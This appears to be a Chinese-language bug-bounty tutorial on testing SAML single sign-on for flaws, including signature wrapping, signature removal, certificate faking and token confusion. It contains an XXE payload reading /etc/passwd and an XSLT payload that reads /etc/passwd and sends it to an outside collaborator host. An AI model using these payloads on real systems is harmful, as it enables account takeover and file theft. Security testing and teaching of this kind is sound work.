赏金猎人系列-如何测试sso相关的漏洞(II)
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
本文承接前文:赏金猎人系列-如何测试sso相关的漏洞,继续梳理sso漏洞相关的测试方法.
如果发现有uuid的这种形式,可以尝试将其更改为攻击者的uuid,例如,你可以改为内部员工或者说是管理员的账户的电子邮箱;
测试步骤:(工具使用Burp Suite)
用令牌拦截SAML请求
将请求发送是Repeater
切换到SAML Raider标签
将UUID更改为受害者帐户的UUID
点击Go
尝试弄清楚服务器是否容易受到XSW(XML Signature Wrapping)的攻击?
测试步骤:
1.用令牌拦截SAML请求 2.将请求发送是Repeater 3.切换到SAML Raider标签 4.选择XSW号码攻击,例如XSW3 5.点击Apply XSW 6.点击Go
试着找出服务器是否容易受到XSE(XML Signature Exclusion )的攻击
测试步骤:
1.用令牌拦截SAML请求 2.将请求发送是Repeater 3.切换到SAML Raider标签 4.点击Remove Signatures 6.点击Go
试着弄清楚服务器是否检查签名者的身份
测试步骤:
1.用令牌拦截SAML请求
2.将请求发送是Repeater
3.切换到SAML Raider标签
4.点击Sent Certificate至SAML Raider的证书
5.切换至SAML Raider Certificates
6.点击Save and Self-Sign
7.返回至SAML Raider Tab
8.点击On (Re-)Sign message 或者 Assertion 或者 Both
9.点击Go
尝试在SAML响应的顶部注入XXE有效负载:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.me.com/text.dtd" >]>
<samlp:Response ID="" > <saml:Issuer></saml:Issuer>
<ds:Signature >
......
&dtd
.....
尝试将XSLT有效负载作为SAML响应的子节点注入Transforms元素
...
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/> <xsl:variable name="escaped" select="encode-for-uri($file)"/> <xsl:variable name="attackerUrl" select="'http://id.burpcollaborator.net/'"/> <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/> <xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template> </xsl:stylesheet> </ds:Transforms>
</ds:Signature>
...
如果受害者能够接受由为攻击者提供服务的同一身份提供者所发行的令牌,那么你就可以接管受害者的账户。
测试步骤:
1.拦截SAML令牌响应
2.向受害者发送SAML令牌响应
3.尝试让受害者点击SAML令牌响应
4.从攻击者的浏览器尝试使用SAML令牌响应
在测试SSO时,尝试在Burp Suite中搜索Cookie头中的url,例如Host=IP;如果有尝试改变IP为你的IP,以获得SSRF
POST /sso HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Cookie: Host=changed-IP:PORT;
Referer: https://previous.com/path
Origin: https://www.company.comRelayState=path&SAMLResponse=base64(SAML-Structure)
https://hackerone.com/reports/136169
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-signature-wrapping
https://research.aurainfosec.io/bypassing-saml20-SSO/?lipi=urn%3Ali%3Apage%3Ad_flagship3_feed%3BxtHwFzjkSyaBXhbuvBbOYg%3D%3D
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-signature-exclusion
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#certificate-faking
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#certificate-faking
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-external-entity-via-saml
https://web-in-security.blogspot.com/2014/11/detecting-and-exploiting-xxe-in-saml.html
https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#extensible-stylesheet-language-transformation-via-saml
https://www.contextis.com/en/blog/xslt-server-side-injection-attacks
https://web.archive.org/web/20190505230052/https://www.contextis.com/en/blog/xslt-server-side-injection-attacks
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#token-recipient-confusion
https://www.economyofmechanism.com/office365-authbypass.html
https://medium.com/@th3g3nt3l/how-i-found-an-ssrf-in-yahoo-guesthouse-recon-wins-8722672e41d4
了解更多的技术与学习视频教程可以关注公众号。
github.com/hiadragon